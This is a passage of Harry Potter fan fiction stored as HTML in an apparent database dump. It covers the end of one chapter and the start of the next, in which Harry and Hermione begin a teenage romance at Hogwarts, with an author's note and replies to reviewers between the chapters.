room.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Hermione,&#8221;\nhe said gently, &#8220;we need to get up.&#8221;&nbsp; She was sleeping unusually\npeacefully; usually, she tossed and turned in her sleep, but she thought that\nthe softest bed in the world couldn&#8217;t compare to Harry&#8217;s arms.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">With a\nstretch and a yawn, Hermione slowly brought herself to wakefulness.&nbsp; She,\nunlike Harry, knew exactly where she was and\nwhy she was there.&nbsp; She turned to face Harry and smiled tiredly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Do I\nreally have to leave?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;If\npeople see us here, they&#8217;ll probably start saying things like&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Bloody\nhell, tell me I&#8217;m not seeing what my eyes tell me I think I&#8217;m seeing!&#8221;&nbsp;\nThe voice from the stairway to the dormitories startled Harry and Hermione, and they both\njumped up from the couch, blushing, as though nothing had happened.&nbsp; All\nthey saw was the surprised face of one Ron Weasley with Seamus and D, quite awake, stopped in\ntheir tracks behind him.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;If that\nmade sense, I&#8217;d try,&#8221; Seamus said to Ron, still unmoving.&nbsp; &#8220;But it\nsure looks to me like&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;We both\njust woke up early and came down,&#8221; Hermione said, feigning a yawn.&nbsp; Harry\ndidn&#8217;t have to fake it; he was still quite tired.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Oh,\nreally?&#8221; Seamus said.&nbsp; &#8220;I didn&#8217;t notice you coming to bed last night,\nHarry.&#8221;&nbsp; Harry stumbled over his words, trying to come up with a plausible\nstory, but nothing came to him.&nbsp; He looked pleadingly at Hermione, but she\nseemed just as lost as he.&nbsp; Harry muttered something incoherently under\nhis breath.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;That&#8217;s\nwhat I thought,&#8221; Ron said.&nbsp; &#8220;Finally, Harry.&nbsp; I can&#8217;t believe it took\nyou two this long!&#8221;&nbsp; Hermione glared at Ron.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Sleeping\nwith your best friend at age fifteen?&#8221; Dean said.&nbsp; &#8220;That&#8217;s\nunthinkable.&#8221;&nbsp; Ron backhanded Dean; as much as he loved teasing Harry and\nHermione himself, they were still his best friends.&nbsp; Hermione, still not\nsatisfied with Ron&#8217;s slap, walked over to Dean with narrowed eyes.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Are you\nimplying that we did more than sleep last night?&#8221; she asked slowly.&nbsp;\n&#8220;Because if you are, you&#8217;re wrong, first of all, and second, even if we did,\nthat&#8217;s farther than you&#8217;ve ever gotten with&#8230;<i>that</i>,&#8221; she said, giving him\na quick, mocking glance downward.&nbsp; Seamus&#8217; jaw fell, and Ron started\nlaughing.&nbsp; He and Hermione exchanged a subtle low-five as she turned on\nher heel and walked back to the girls&#8217; dormitory.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Ron\nwalked over to Harry, who had sat back down on the sofa.&nbsp; Harry was biting\nhis lip, trying to find some way to explain what had happened to Ron.&nbsp;\nRon, however, needed no explanation.&nbsp; The Weasley intuition had kicked in.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;It&#8217;s\nokay, Harry, I know you didn&#8217;t do anything.&nbsp; I would like to know how it\nhappened, though.&nbsp; I&#8217;ve been trying to hook the two of you up for\nmonths.&#8221;&nbsp; Harry looked at him in disbelief, and Ron smiled and shrugged.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry\nbriefly related the past evening&#8217;s events to Ron, who drank it all in\ncalmly.&nbsp; &#8220;Sounds&#8230;exciting,&#8221; he said after Harry finished.&nbsp; Harry only\nsmiled.&nbsp; &#8220;So what do you two plan to do about this?&nbsp; Are you going to\ndive headfirst into a relationship?&nbsp; You know how Hermione is about\nguys.&nbsp; You&#8217;re really lucky if she gave you a heartfelt kiss&#8230;or two, or\nthree,&#8221; he said laughing.&nbsp; Harry picked up a pillow threateningly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;I know\nI&#8217;m lucky,&#8221; Harry said.&nbsp; &#8220;I just can&#8217;t believe it&#8217;s taken me five years to\nfinally understand just how lucky I am, both to have you as such a good friend\nand Hermione as&#8230;well, I still have to figure that out.&nbsp; We also need to\nfigure out what to do with Tweedle Dee and Tweedle Dum over there,&#8221; he said,\npointing at Dean and Seamus.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Oh, I&#8217;m\nsure Hermione can use a simple memory charm on them,&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry\nlaughed.&nbsp; &#8220;I&#8217;d appreciate it if you&#8217;d not mention what happened last night\nto anyone.&nbsp; Not that I&#8217;m ashamed or anything; quite the opposite.&nbsp; I\njust don&#8217;t want people getting the wrong idea about me, and especially about\nHermione.&#8221;&nbsp; Ron smiled and nodded his agreement.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;But are\nyou going to tell them?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry\nthought for a moment before replying, &#8220;If they ask, we&#8217;ll tell them the truth,\nbut I don&#8217;t think I&#8217;ll go waving it around in everyone&#8217;s faces.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Sounds\ngood to me,&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;What do\nyou mean, sounds good to you?&#8221; Harry guffawed.&nbsp; &#8220;I&#8217;m not asking you for\nyour advice on girls.&nbsp; I&#8217;ve learned my lesson already!&#8221;&nbsp; Ron picked\nup a pillow in much the same way Harry had, although he skipped the threatening\nstage, and both of them started laughing uncontrollably as Ron and Harry began\nwhacking each other with the pillows.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Hermione\nwalked back down the stairs with the other Gryffindor girls into the common\nroom to find Harry and Ron in a full-fledged pillow fight.&nbsp; Hermione\nrolled her eyes as she walked down, the other girls laughing, and grabbed the\npillows in mid-throw.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Stop\nfighting, you two,&#8221; she said in a motherly tone of voice.&nbsp;\n&#8220;Honestly&#8230;boys&#8230;&#8221;&nbsp; Harry turned to Hermione and stuck his lower lip\nout.&nbsp; &#8220;Oh, don&#8217;t go there with me, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Well,&#8221;\nRon said, straightening himself out, &#8220;I&#8217;m off to breakfast.&nbsp; Will any of\nyou ladies care to join me?&#8221; he asked.&nbsp; Ginny laughed at her brother, as\ndid the rest of the girls, who walked out the door without Ron.&nbsp; &#8220;Why do I\neven try?&#8221; he asked, throwing his arms into the air before running off to join\nthem.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Sighing,\nHermione sat down on the couch.&nbsp; &#8220;Wouldn&#8217;t you like to go, too?&#8221; Harry\nasked her.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Actually,\nI wanted to talk to you for a second,&#8221; she said.&nbsp; Just then, the rest of\nthe Gryffindor boys came out of the dormitory into the common room.&nbsp; Fred\nmuttered something about being able to eat a hippogriff, and they all began\nwalking toward the door.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Sure,&#8221;\nHarry said, sitting down next to her.&nbsp; They waited for the rest of the\nboys to leave before resuming their conversation.&nbsp; &#8220;Is something wrong?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;No,\nnothing&#8217;s wrong.&nbsp; It&#8217;s just that&#8230;about last night, I wanted to&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Nobody\nhas to know,&#8221; Harry said, cutting her off.&nbsp; Hermione sighed and looked\ndeeply into Harry&#8217;s eyes.&nbsp; She pulled away, knowing that she&#8217;d have been\ndrawn hopelessly into him if she&#8217;d continued gazing into his twinkling green\neyes.&nbsp; He&#8217;d read her thoughts again, though this time it was by intuition\nand not by magic.&nbsp; However, he still didn&#8217;t understand her feelings\ncompletely.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Harry,\nthat&#8217;s not&#8230;Okay, that&#8217;s part of what I wanted to talk to you about, but it&#8217;s\nnot as simple as everyone not knowing.&nbsp; I just&#8230;don&#8217;t want people getting\nthe wrong idea.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;That&#8217;s\nperfectly fine with me,&#8221; Harry said, wrapping his arms around her.&nbsp;\nHermione pushed him away, though.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;But I\nreally don&#8217;t want to jump into a relationship, Harry.&nbsp; I&#8217;m happy that\nyou&#8217;ve <i>finally</i> taken a hint,&#8221; she said with a laugh, to which Harry only\nglared at her teasingly, &#8220;but what if we have the worst breakup in the\nworld?&nbsp; Our friendship means more to me than anything else.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;We could\ntake it slowly,&#8221; Harry suggested.&nbsp; &#8220;That way, if we do break up&#8212;emphasis\non the &#8216;if&#8217;, mind you&#8212;we&#8217;ll do so early enough that nothing will\nbe&#8230;hurt.&#8221;&nbsp; Hermione sighed and nodded to show her acknowledgement.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;If\nyou&#8217;re really serious about this, then let&#8217;s go for it,&#8221; she said happily.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">In reply,\nHarry only wrapped his arms around her and pressed his lips to hers.&nbsp;\nHarry stopped himself (using every last ounce of self-restraint, which was what\nit took to do so) from going any farther than a small kiss there.&nbsp;\nNonetheless, he kissed her lovingly and passionately, and she gave in\nwillingly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">The soft\ntouch of her lips left Harry wondering if heaven hadn&#8217;t already converged with\nearth at that moment.&nbsp; Once again, the faint scent of raspberry drifted\nhis way as he held her close.&nbsp; As he pulled away reluctantly, he slowly\nopened his eyes, willing the sensation brought by her soft kiss to stay.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Are you\nhungry?&#8221; Harry asked her.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Why, are\nyou willing to give me more?&#8221; she asked slyly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry rolled his eyes before replying,\n&#8220;I meant breakfast.&#8221;&nbsp; Hermione blushed and started giggling.&nbsp; &#8220;Get\nyour head out of the Harry Potter gutter,&#8221; she thought to herself.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Sure.&nbsp;\nI&#8217;m not very hungry, but why not?&#8221;&nbsp; He offered his arm, but she knocked it\ndown and settled for taking his hand in hers as they walked out the door toward\nthe Great Hall.&nbsp; Harry really didn&#8217;t have much of an\nappetite, either, but to him, any excuse to be walking with Hermione beside him\nwas reason enough to do anything.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">It took\nthem about fifteen minutes to get from the Gryffindor tower to the Great\nHall.&nbsp; Ron gave them a quirky smile as they\ntook their seats, to which Harry and\nHermione both rolled their eyes.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">They\nhelped themselves to the platters of bacon, sausage, and hotcakes and ate\nquickly, wanting to get the day over with as soon as possible so that they&#8217;d be\nable to spend the evening alone together again.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">The rest\nof the day, to their amusement, went by faster even than they&#8217;d hoped.&nbsp;\nDouble potions with the Slytherins was relatively uneventful, even with Malfoy\n&#8220;accidentally&#8221; adding some gillyweed to Harry&#8217;s Draught of Drought.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Transfiguration\npassed quickly with a few interesting glances from Hermione.&nbsp; She&#8217;d tried\nto be her usual patronizing self, but every time she looked at Harry, she seemed to have been unable\nto do anything but smile shyly and blush.&nbsp; She tried to hide it, but Ron caught it every time.&nbsp; As\nhis just-desserts, McGonagall caught him giggling at Hermione and gave him\ndetention.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Ha,&#8221;\nHermione mouthed to him as he slouched down in his chair.&nbsp; He glared up at\nher with a muttered, &#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">That\nevening Harry took a while at dinner to listen to Fred and George&#8217;s new ideas\nfor Weasley&#8217;s Wizard Wheezes.&nbsp; He returned to the Gryffindor common room\nonly a few minutes before curfew with pocketfuls of various things that he\nreally didn&#8217;t want to know more about.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">The\ncommon room was surprisingly empty for that hour of night, Harry thought.&nbsp; He immediately\nbegan glancing around for Hermione, and he spotted her after only a few moments\nin front of the fire.&nbsp; She was lying on the sofa in which they&#8217;d slept as\nthough it were a divan, writing in a small book by the firelight.&nbsp; Harry snuck up behind her and wrapped\nhis arms around her shoulders, and Hermione jumped.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Harry!&nbsp;\nYou made me smear the page!&#8221; she cried.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Sorry,&#8221;\nHarry said apologetically.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;No\nproblem.&#8221;&nbsp; Hermione cast a quick erasing spell, and the book was good as\nnew.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;What&#8217;s\nthat?&#8221; Harry asked curiously.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Hermione\nheld it to her chest protectively.&nbsp; &#8220;It&#8217;s my diary, and you can&#8217;t read\nit!&#8221;&nbsp; She stuck her tongue out at him.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Who are\nyou writing about?&#8221; Harry asked, nosing further into Hermione&#8217;s business.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Who says\nI&#8217;m writing about anyone?&#8221; she said innocently.&nbsp; Harry, knowing better,\nexchanged his position behind her for a seat next to her as he walked around\nthe sofa.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;You&#8217;re\nwriting about me, aren&#8217;t you?&#8221; he said devilishly.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;No,&#8221;\nHermione corrected, &#8220;I&#8217;m writing about <i>us</i>.&#8221;&nbsp; Harry certainly hadn&#8217;t\nexpected her to say that, and Hermione grinned at the look on Harry&#8217;s\nface.&nbsp; &#8220;October the twelfth,&#8221; she read aloud, forgetting about her\nprevious comment that Harry couldn&#8217;t know its contents, &#8220;The love of my life\nhas finally agreed to be the one for me.&nbsp; I won&#8217;t go into all the\ninteresting details, but we&#8217;ve shared more than one kiss, and I know that he\nloves me as much as I love him, if that&#8217;s possible at all.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Hermione\nclosed the book, looking at Harry.&nbsp; She had a large, loving smile on her\nface that Harry simply couldn&#8217;t resist.&nbsp; He cupped his hands around her\nface and brought himself so that his body was barely above hers and slowly\nbrought his lips to hers.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">She found\nthat no amount of self-inhibition would be able to keep her from giving in to\nhis kiss.&nbsp; Hermione was downright thrilled that after four years of\nfriendship and seemingly wasted wishes, it had all led to this.&nbsp; She was\nsurprised as Harry parted his lips and caressed her lips with his tongue.&nbsp;\nHer mouth opened slowly, and her tongue met his.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">It was\nmore than Hermione had ever wanted in her life.&nbsp; They alternated between\nengaging in a fierce dance with their tongues and kissing each other&#8217;s\nnecks.&nbsp; Their arms were wrapped around each other, and they were trying to\nbe as quiet as possible.&nbsp; Despite her attempts at silence, though,\nHermione let out a considerably loud gasp as Harry kissed her where her neck\nmet her shoulder.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Oh, I&#8217;m\nsorry,&#8221; he said nervously.&nbsp; &#8220;I didn&#8217;t mean to&#8212;&#8221;&nbsp; Hermione cut him off\nby kissing him even harder than before.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">A few\nminutes later, they pulled apart, and Harry, who had shifted himself under\nHermione, pulled her on top of him.&nbsp; She let her head fall onto his chest\nand felt his strength flowing into her.&nbsp; As she brought her head up, a\ntear fell into Harry&#8217;s robes.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;What&#8217;s\nwrong, &#8216;Mione?&#8221; Harry asked, wrapping his arms tighter around her.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Nothing.&nbsp;\nNothing&#8217;s wrong.&nbsp; Everything&#8217;s just right.&#8221;&nbsp; She smiled at him,\nhappier than she&#8217;d ever been before, and lay on him once more before pushing\nherself off him.&nbsp; &#8220;We&#8217;d better get to bed before we have a repeat of last\nnight,&#8221; she warned with a quirky grin.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Not that\nI don&#8217;t like sleeping with you,&#8221; Harry said jokingly, &#8220;but I think you&#8217;re\nright.&#8221;&nbsp; They stood and kissed each other good night before walking up the\nstairs to their dormitories.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">Harry\ndidn&#8217;t fall asleep until a few hours later.&nbsp; Despite the beauty of the\nmoonlight coupled with the twinkling stars, Hermione completely dominated his\nthoughts.&nbsp; In the next room, Hermione was having the exact same\nproblem.&nbsp; Their thoughts were lost on each other, as were their hearts.</p>\n\n<p class="MsoNormal" style="text-align:justify;text-justify:inter-ideograph;\ntext-indent:.5in">&#8220;Good\nnight, Harry,&#8221; Hermione whispered as she drifted off into sleep.</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Wow, that was quite long&#8230;lol!&nbsp; I\nreally hope you all liked it.&nbsp; I&#8217;m starting to wonder if I should change\nthe rating to R, but I&#8217;m not sure yet.&nbsp; Include that in your reviews, if\nyou would, please.&nbsp; Thank you so much!&nbsp; And if you\'d recommend this to any friends, please, do so!&nbsp; I&#8217;d be so happy if you\ncould do that for me.&nbsp; I really want my writing to be read by as many\npeople as possible.&nbsp; :)</p>\n\n<p>&nbsp;</p>\n\n\n\n\n\n\n'),
	(208, 3, '\n\n\n\n<p>A/N:&nbsp; Yaaaaaah, I&#8217;m not used to\nsuch tough reviews, LOL.&nbsp; I&#8217;m glad Portkey&#8217;s here, though, &#8216;cause it&#8217;s going a\nlot faster than on some of the other sites on which this story&#8217;s posted.</p>\n\n<p>Sorry about my little hiatus\nthere.&nbsp; If you go to my high school, then you&#8217;ll understand what &#8220;a grip of\nprojects&#8221; is.&nbsp; <u>To Kill a Mockingbird</u>, the global status of Japan,\nscience fair, reading 2000 pages every semester, normal homework&#8230;&nbsp; *sigh*&nbsp; Ah,\nwell.&nbsp; I&#8217;m glad to be back writing.&nbsp; And thanks to all of you for reviewing!</p>\n\n<p>LordAnHur: Yay!&nbsp; This story\nreally doesn&#8217;t get much juicier than this (unless Heaven and Ryoko start\nrubbing off on me too much, LOL), but I may think about changing this to R.&nbsp; I&#8217;ll\nput up one more chappie and see how it goes, kk?</p>\n\n<p>Clair: Haha, sorry about Mr. D there.&nbsp;\nThis is what happens when you rely on Microsoft, eh?&nbsp; I&#8217;m glad you like it :)</p>\n\n<p>Old Wolf: More passionate snogging?&nbsp; Does\nthat mean more often or more passionate?&nbsp; LOL, I&#8217;ll do both just to make us\nboth happy :P</p>\n\n<p>Heaven: You&#8217;re actually keeping\nup with my writing!&nbsp; Even though you&#8217;ve already seen how the story goes, lol.&nbsp;\nThanks so much for reviewing!&nbsp; :: Happy dance, ignores stares from family ::&nbsp;\nLots o&#8217; love!</p>\n\n<p>Hermione and Harry 4Ever: Your screen name sounds\nfamiliar somehow&#8230;Oh, nevermind, hehe&#8230;Yes, my first time writing romance.&nbsp; I&#8217;ve\njust spent too much time reading Heaven and Ryoko&#8217;s stories and *Ahem* shaglets.</p>\n\n<p>Well, thanks again!&nbsp; Rating 9.46\nat the moment&#8230;That&#8217;s quite good, considering how much I&#8217;ve been writing\nrecently (er, not writing :) )&nbsp; Here&#8217;s chapter 3 for you all.&nbsp; Please enjoy!</p>\n\n<p>~~~~~~~~~~~~~~~~~~~~</p>\n\n<p>Harry awoke the next morning from a\nwonderful dream he&#8217;d been having about Hermione.&nbsp; The sunlight was shining\nthrough the windows, but the chilly autumn air still made Harry want to stay in the warmth of\nthe blankets.&nbsp; In the adjacent bed, Ron was apparently experiencing the same thing, for he was trying to get\nout of bed with the blankets still wrapped around him.</p>\n\n<p>Next door in the girls&#8217;\ndormitory, Hermione was wishing she could have had Harry&#8217;s arms wrapped around her\ninstead of the blanket as she woke up.&nbsp; She was an early riser, so she was up\nbefore the sun was.&nbsp; The cold didn&#8217;t faze her; a quick warming charm had taken\ncare of that.&nbsp; She went into the bathroom to shower and dress.&nbsp; When she was\nsatisfied that her robes were neat and orderly, she looked in the mirror and\nsighed.</p>\n\n<p>&#8220;And Harry thinks his hair is bad?&#8221; she\nasked the mirror sardonically.&nbsp; She did her best to straighten it, but her\nusual mass of frizz couldn&#8217;t be tamed.&nbsp; After a few minutes, Hermione settled\nfor a rubber band that she used to tie everything back into a large, puffy\nponytail.</p>\n\n<p>She and Harry entered the common room at\nalmost the same time.&nbsp; Harry&#8217;s face lit up when he saw her,\nas usual, and he ran over to her and threw his arms around her.&nbsp; Hermione stood\nthere for a moment, just wanting to stay like that forever.&nbsp; Her prudence\nkicked in, though, and she took his hands in hers, extricating herself from his\nhug.</p>\n\n<p>Harry didn&#8217;t mind; being near her was\ngood enough.</p>\n\n<p>&#8220;You don&#8217;t like hugging me?&#8221; he\nasked with mock sadness.</p>\n\n<p>&#8220;We shouldn&#8217;t be getting as far\nas we were last night in public, Harry,&#8221; she said in a reprimanding tone of voice.</p>\n\n<p>&#8220;So you don&#8217;t like kissing me\neither?&#8221; Harry asked, sticking his lower lip\nout.&nbsp; Hermione just rolled her eyes and flung herself onto a chair in a distant\ncorner of the room; the armchairs and sofas brought back too much emotion, and\nshe feared she&#8217;d probably end up at home base if she sat back down in one of\nthem.</p>\n\n<p>&#8220;Good morning,&#8221; George called as he walked down the\nstairs.&nbsp; Fred and Ron were close on his heels, and Seamus, Dean, and Justin\nweren&#8217;t far behind them.&nbsp; &#8220;You&#8217;re up early,&#8221; he said casually.</p>\n\n<p>&#8220;I couldn&#8217;t sleep,&#8221; Harry said.&nbsp; &#8220;Too much on my mind.&#8221;&nbsp;\nOn the other side of the room, Hermione rolled her eyes at him, unseen by the\nboys.</p>\n\n<p>&#8220;Yeah.&nbsp; That test Professor Sprout&#8217;s giving us is racking my nerves, too,&#8221; Fred said.&nbsp; Hermione, apparently, was\nthe only one who&#8217;d gotten Harry&#8217;s\ncomment.&nbsp; &#8220;Well, I&#8217;m starved!&#8221;</p>\n\n<p>&#8220;You always are,&#8221; Justin joked.</p>\n\n<p>&#8220;So?&#8221; Fred said in his defense.&nbsp; Harry laughed as he got up to join\nthem for breakfast.&nbsp; He looked at Hermione invitingly, and she stood up with a\nsmile to join him.&nbsp; They left the common room as the first of the girls began\ncoming down the stairs.</p>\n\n<p>&#8220;You&#8217;re not going to wait for\nthem?&#8221; Hermione asked the boys.</p>\n\n<p>&#8220;Girls take too long,&#8221; Dean called out.&nbsp; Hermione was\nclearly about to give him a piece of her mind, but Harry pulled her back on the pretense\nof restraining her.</p>\n\n<p>&#8220;Don&#8217;t walk so fast,&#8221; Harry whispered to her.</p>\n\n<p>&#8220;You can keep up,&#8221; she said.&nbsp; Harry only sighed as he drew her\ncompletely into his arms.</p>\n\n<p>&#8220;Harry, not here and not now,&#8221; Hermione said shortly.&nbsp; &#8220;There\nmust be rules against making out in the hallway, and I really don&#8217;t want to get\ncaught&#8212;&#8221;</p>\n\n<p>&#8220;Do you know of any specific\nrules against making out in the hallways?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, no, but&#8212;&#8221;</p>\n\n<p>&#8220;Then there aren&#8217;t any.&#8221;&nbsp;\nHermione glared at him.</p>\n\n<p>&#8220;I do <i>not</i> know every rule\nhere, thank you.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; Harry laughed.&nbsp; Sighing her usual sigh\nof &#8220;I&#8217;m going to regret this&#8221;, Hermione finally surrendered to Harry&#8217;s badgering.&nbsp; She stood on her\ntiptoes to reach Harry&#8217;s lips but was rewarded as he\ndove right in with his tongue.</p>\n\n<p>Harry was rewarded as well as he\nelicited a small moan from Hermione.&nbsp; He pulled away and began kissing her neck\nbut stopped before he hit the spot that had made her cry out the previous\nnight.&nbsp; He took her tongue back into his mouth, just to hear an, &#8220;Oh, God&#8221; from\ndown the hallway.</p>\n\n<p>Hermione looked up and jumped\naway from Harry quickly as though nothing had\nhappened.&nbsp; Straightening her robes, she saw Ron walking over to them.</p>\n\n<p>&#8220;Yes, Ron?&#8221;</p>\n\n<p>&#8220;Sorry,&#8221; he said, laughing, &#8220;I\nforgot my wand back in the dorms.&#8221;&nbsp; He cast a glance at Harry and laughed again.&nbsp; &#8220;Please tell\nme that&#8217;s <i>your</i> wand I see there,&#8221; he said, glancing at Harry&#8217;s lower body.&nbsp; Harry blushed and quickly glanced down\nto see nothing.&nbsp; He looked up angrily at Ron, who was doubled over in laughter.</p>\n\n<p>&#8220;Who&#8217;d have thought?&nbsp; Hermione\nGranger making out in public!&#8221; Ron\nshouted.</p>\n\n<p>&#8220;I&#8217;ll hex you straight back to\nthe common room if you don&#8217;t start walking,&#8221; Hermione said, pulling her wand\nout of her robes.&nbsp; &#8220;I do not find that funny.&nbsp; And as for you,&#8221; she said,\nturning to Harry as Ron walked off, &#8220;that was <i>way</i>\ntoo close.&#8221;</p>\n\n<p>&#8220;Are you mad at me?&#8221; Harry asked,\nstill miffed at Ron.</p>\n\n<p>&#8220;You&#8217;ll be lucky if I kiss you\nagain this week,&#8221; Hermione said.&nbsp; &#8220;So not angry, exactly.&#8221;</p>\n\n<p>&#8220;Do you think you can survive a\nweek without kissing me?&#8221; Harry\nasked devilishly.</p>\n\n<p>&#8220;Of course I can.&nbsp; I have more\nthan a one-track mind, you know,&#8221; she teased.</p>\n\n<p>&#8220;Are you suggesting that making\nout with you is all I ever think about?&#8221;&nbsp; Harry grinned at her.</p>\n\n<p>&#8220;Maybe,&#8221; she said, walking off.&nbsp; Harry ran to follow her.</p>\n\n<p>Breakfast was a horrible mess\nbetween Harry, Ron, and Hermione.&nbsp; Hermione kept shooting annoyed glares at\nHarry and Ron, which sent the both of them\ninto hysterics.</p>\n\n<p>&#8220;Boys aren&#8217;t supposed to giggle,&#8221;\nHermione scolded.&nbsp; Ron and Harry only started laughing harder.&nbsp;\nThey couldn&#8217;t suppress anything until they got to Professor Flitwick&#8217;s class.</p>\n\n<p>He stood on a pile of seven\ntomes, to Harry&#8217;s amusement.&nbsp; &#8220;Has he 